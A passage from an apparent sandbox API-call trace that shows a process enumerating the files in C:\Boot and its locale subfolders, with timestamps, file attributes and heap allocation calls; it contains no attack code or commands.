ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.066] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.067] GetProcessHeap () returned 0x730000 [0052.067] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.067] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0052.067] GetProcessHeap () returned 0x730000 [0052.067] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.067] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.067] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0052.068] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0052.068] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0052.068] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0052.068] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0052.068] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0052.068] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.068] GetProcessHeap () returned 0x730000 [0052.068] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.068] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0052.068] GetProcessHeap () returned 0x730000 [0052.068] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.069] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.070] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.070] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.070] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.070] GetProcessHeap () returned 0x730000 [0052.070] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.070] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0052.070] GetProcessHeap () returned 0x730000 [0052.070] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.070] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.070] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.070] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.070] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.071] GetProcessHeap () returned 0x730000 [0052.071] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.071] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0052.071] GetProcessHeap () returned 0x730000 [0052.071] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.071] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.072] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.072] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.072] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.072] GetProcessHeap () returned 0x730000 [0052.072] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.072] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0052.072] GetProcessHeap () returned 0x730000 [0052.072] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.072] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.072] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.072] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.072] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.072] GetProcessHeap () returned 0x730000 [0052.072] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.072] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0052.073] GetProcessHeap () returned 0x730000 [0052.073] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.731] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.731] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.731] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.731] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.731] GetProcessHeap () returned 0x730000 [0053.731] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.731] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0053.731] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0053.731] GetProcessHeap () returned 0x730000 [0053.731] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.732] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.732] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.732] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.732] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.732] GetProcessHeap () returned 0x730000 [0053.732] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.732] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0053.732] GetProcessHeap () returned 0x730000 [0053.732] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, 